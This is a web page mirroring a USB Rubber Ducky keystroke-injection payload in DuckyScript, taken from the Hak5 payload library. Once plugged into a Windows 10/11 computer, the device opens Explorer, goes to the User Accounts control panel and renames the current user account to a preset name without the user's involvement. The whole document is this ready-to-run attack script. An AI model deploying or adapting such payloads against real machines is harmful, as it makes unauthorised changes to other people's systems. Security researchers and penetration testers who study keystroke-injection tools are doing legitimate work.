Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
hak5
GitHub Repository: hak5/usbrubberducky-payloads
Path: blob/master/payloads/library/execution/Change_Windows_User_Name/payload.txt
3018 views
1
REM #############################################
2
REM # |
3
REM # Title : Change Windows User Name |
4
REM # Author : Aleff |
5
REM # Version : 1.0 |
6
REM # Category : Execution |
7
REM # Target : Windows 10/11 |
8
REM # |
9
REM #############################################
10
11
REM Requirements:
12
REM - Nothing
13
14
REM Note:
15
REM - Payload tested on Windows 11 Eng
16
17
REM Set the new name that you want to set
18
DEFINE NEW_NAME example
19
20
REM Open Windows research
21
DELAY 2000
22
GUI
23
DELAY 1000
24
25
REM Search and opern explorer app
26
STRING explorer
27
ENTER
28
DELAY 1000
29
30
REM Goto search bar and open User Accounts settings
31
TAB
32
DELAY 500
33
TAB
34
DELAY 500
35
TAB
36
DELAY 500
37
ENTER
38
DELAY 500
39
STRING Control Panel\All Control Panel Items\User Accounts
40
ENTER
41
DELAY 1500
42
43
REM Goto "Change you account name"
44
TAB
45
DELAY 500
46
ENTER
47
DELAY 500
48
49
STRING NEW_NAME
50
DELAY 500
51
TAB
52
DELAY 500
53
ENTER
54
DELAY 1000
55
ALT F4
56
57